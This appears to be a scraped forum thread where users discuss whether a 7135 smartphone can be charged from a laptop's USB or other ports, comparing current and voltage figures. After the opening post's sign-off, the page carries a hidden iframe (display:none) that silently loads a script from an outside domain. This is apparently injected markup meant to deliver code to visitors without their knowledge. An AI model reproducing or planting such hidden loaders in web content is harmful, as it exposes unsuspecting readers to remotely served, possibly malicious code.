    Power/Charging 7135 using data cable?

    Greetings!

    As a new smartphone 7135 owner, I was wondering if anyone knew of a way to power/charge the 7135 from a laptop with some sort of data cable. I already travel with the AC adapter for my laptop, so I was hoping to be able to recharge the smartphone w/o carrying it's AC adapter -- i.e. carry a single data cable which can also charge the phone.

    Is this something that existed for the 6035?

    [I did a search here and didn't come up with anything]

    Thanks!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    No, all data dables and cradles for the smartphones are externally powered with a AC to DC (transformer) or DC adaptor (Cig adaptor).

    THe USB is not self powered as the phone draws to much amperage for the USB bus.

    I wonder if USB 2.0 carries enough current to charge the phone...

    I believe the USB data cable has a connector for the travel charger, as for charging directly from the USB, nothing is available, at least yet. But it can be done, I don't think it would be to heavy for USB, they have cables to charge Nokias, and other brands with a USB cable.

    The 7135 charge is listed as 1200 mA

    USB is limited to 500mA

    so even if it is possible It would take a lil over twice as long to charge.

    Voltage is another question.... USB is 5V, im not sure what the 7135 voltage is.
    iPhone therefore iAm.

    The output listed on the travel charger is 4.5 V at 1.5 Amps

    The question is, what is the low range (of both) at which the battery will charge at all, and the high range at which the phone will fry.

    Then we can see if it is feasable to either build a USB or PS/2 Mouse/Keyboard connector to draw power directly from the PC or not (probably not). Hotsync already indicated 500 mA is too low. I am not sure what the amperage on a PS/2 port is, but I suspect it is also pretty low. I do know that it is 5 volts.

    Just get a PCMCIA extender, tap the power, step down the amperage and voltage and your good to go
